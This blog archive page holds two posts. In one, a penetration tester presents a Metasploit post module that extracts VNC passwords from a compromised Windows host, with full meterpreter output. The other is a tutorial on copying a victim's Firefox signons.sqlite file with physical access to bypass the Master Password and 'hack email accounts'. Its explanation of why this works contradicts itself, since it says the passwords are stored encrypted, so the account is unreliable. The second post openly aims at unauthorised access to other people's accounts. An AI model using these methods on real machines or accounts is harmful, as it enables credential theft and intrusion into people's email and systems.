Showing posts with label decrypt. Show all posts
Showing posts with label decrypt. Show all posts

Friday, June 22, 2012

Metasploit VNC Password Extraction


Chris Gates wrote a blog post about the ‘getvncpw’ meterpreter script. I ran into the same issue on Penetration Tests in the past but didn’t know much about the wacked out version of DES that RFB (the VNC protocol) was using. Not being a fan of manually editing a binary and compiling each time I had a password to crack I wanted to find another way, but didn’t get a chance to.
Yesterday I saw this ticket: https://www.metasploit.com/redmine/issues/3183 and thought to myself: “Thats definitely within my coding ability to contribute a patch for”. After almost 15 hours of coding between 9 pm on Saturday and 8 pm on Sunday. It went far and beyond just adding in a bit of code to support UltraVNC.
changelog:
  • Complete rewrite as a post module instead of a meterpreter script
  • Passwords of less than 8 characters are correctly padded (thanks jduck)
  • UltraVNC checks added
  • TightVNC checks added for both VNC and it’s control console
  • Made it very simple to add new checks in either the registry or in a file
  • Output is a bit more verbose (lets you know something is happening
  • Reports authentication credentials found to database
  • Identifies the port that VNC is running on as well
It isn’t in the metasploit trunk so until/if if gets added you can get it here:
If you have a check, find it breaks for some reason or another, or just want to tell me that I suck, please leave a comment or email me.
Here it is in action against my VM with 3 different VNC servers on it (calling the post module in two separate ways) :
Code:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > getuid
Server username: XPBASELINE\Administrator
meterpreter > background
msf exploit(handler) > use post/windows/gather/enum_vnc_pw 
msf post(enum_vnc_pw) > set SESSION 1
SESSION => 1
msf post(enum_vnc_pw) > show options
 
Module options (post/windows/gather/enum_vnc_pw):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
 
msf post(enum_vnc_pw) > run
 
[*] Enumerating VNC passwords on XPBASELINE
[*] Checking UltraVNC...
[+] UltraVNC => A85B4C5976979DE93B => thisismy on port: 5900
[+] VIEW ONLY: UltraVNC => DE2C1BA7393F6708B3 => 111 on port: 5900
[*] Checking WinVNC3_HKLM...
[*] Checking WinVNC3_HKCU...
[*] Checking WinVNC3_HKLM_Default...
[*] Checking WinVNC3_HKCU_Default...
[*] Checking WinVNC_HKLM_Default...
[*] Checking WinVNC_HKCU_Default...
[*] Checking WinVNC4_HKLM...
[+] WinVNC4_HKLM => c777b2de337a91cf => mypasswo on port: 5900
[*] Checking WinVNC4_HKCU...
[*] Checking RealVNC_HKLM...
[*] Checking RealVNC_HKCU...
[*] Checking TightVNC_HKLM...
[+] TightVNC_HKLM => 7ebf1e76f732459f => authpass on port: 5900
[*] Checking TightVNC_HKLM_Control_pass...
[+] TightVNC_HKLM_Control_pass => f0299fd0e927cf2f => adminpas on port: 5900
[*] Post module execution completed
 
msf post(enum_vnc_pw) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > run post/windows/gather/enum_vnc_pw 
 
[*] Enumerating VNC passwords on XPBASELINE
[*] Checking UltraVNC...
[+] UltraVNC => A85B4C5976979DE93B => thisismy on port: 5900
[+] VIEW ONLY: UltraVNC => DE2C1BA7393F6708B3 => 111 on port: 5900
[*] Checking WinVNC3_HKLM...
[*] Checking WinVNC3_HKCU...
[*] Checking WinVNC3_HKLM_Default...
[*] Checking WinVNC3_HKCU_Default...
[*] Checking WinVNC_HKLM_Default...
[*] Checking WinVNC_HKCU_Default...
[*] Checking WinVNC4_HKLM...
[+] WinVNC4_HKLM => c777b2de337a91cf => mypasswo on port: 5900
[*] Checking WinVNC4_HKCU...
[*] Checking RealVNC_HKLM...
[*] Checking RealVNC_HKCU...
[*] Checking TightVNC_HKLM...
[+] TightVNC_HKLM => 7ebf1e76f732459f => authpass on port: 5900
[*] Checking TightVNC_HKLM_Control_pass...
[+] TightVNC_HKLM_Control_pass => f0299fd0e927cf2f => adminpas on port: 5900
meterpreter >
[source]

Firefox – How to retrieve and decrypt stored passwords


Firefox is one of the most popular browsers of the world. We all are Firefox lovers. Firefox has grown so popular thanks to its various addons and extensions which make Firefox really easily customizable to suit our needs. So, we will now discuss how to retrieve and decrypt stored password using another computer.
Things which are necessary for this hack to be successfull:
1. Physical access to victim machine
2. Victim’s passwords saved in victim’s Firefox.
Usually, whenever passwords are stored in Firefox, they can be easily seen by going to Tools -> Options ->Security and hitting on Saved Passwords.
But, if the victim if shrewd enough to use Master Password, on hitting Saved Passwords, you are prompted to enter Master Password. Master Password thus protects victim’s password from being seen by any stranger and you are unable to hack his Email passwords which are stored in Firefox browser.
How to hack email accounts
This article shows you how to bypass Master Password of victim Firefox. So, follow the steps below to hack his Email account password, even if Master Password is in role.

Steps to retrieve and decrypt stored passwords:

Let us assume that victim uses Vista Operating system and you(hacker) are using Windows XP.
1. On victim computer, go to:
For Windows Vista:
C:\Users\RAJ\AppData\Roaming\Mozilla\Firefox\Profiles\iosjcyzp.default
For Windows XP:
C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\tez96yyu.default
Replace RAJ and Administrator with your victim’s computer username.
and copy “signons.sqlite” file to your pen drive or any removable drive.
Stored password hack email
Note: If you are unable to find “signons.sqlite”, simply go to C drive and search for “signons.sqlite”. You will get it for sure.
2. Now, come back to your computer and paste this “signons.sqlite” in your Firefox by using the path in Step 1.
Firefox hack copy signons.sqlite file
3. After you’ve pasted “signons.sqlite” file in your firefox, open Firefox browser.
4. Go to Tools -> Options -> Security tab. Hit on “Show password” and this time, you will be able to see victim mail accounts in popup box. Hit on “Show password” again and you will be able to see his hacked email account passwords. Now, you don’t have to enter any Master password.
Hacked Email passwords using Firefox

What is Logic behind this Firefox hack???

Firefox stores all the remembered passwords in two files:
1. Signons.sqlite and
2. Key3
Signons.sqlite is used to store all online username and passwords in encrypted form while Key3 file stores information about Master Password. So, in this hack, we are stealing victim’s Signons.sqlite file (and not Key3) and opening it in our Firefox. Naturally, our Firefox shows victim’s password and thus, we are able to hack email acccount passwords.
Really, this is one of the most vulnerable aspects of Firefox. Infact, Firefox stealers use this same logic for stealing Firefox saved passwords and thus to hack email accounts of victim. I have tried my best to keep this tutorial simple. If you have any problem in this Firefox hack to hack Email accounts of the victim, please mention it in comments.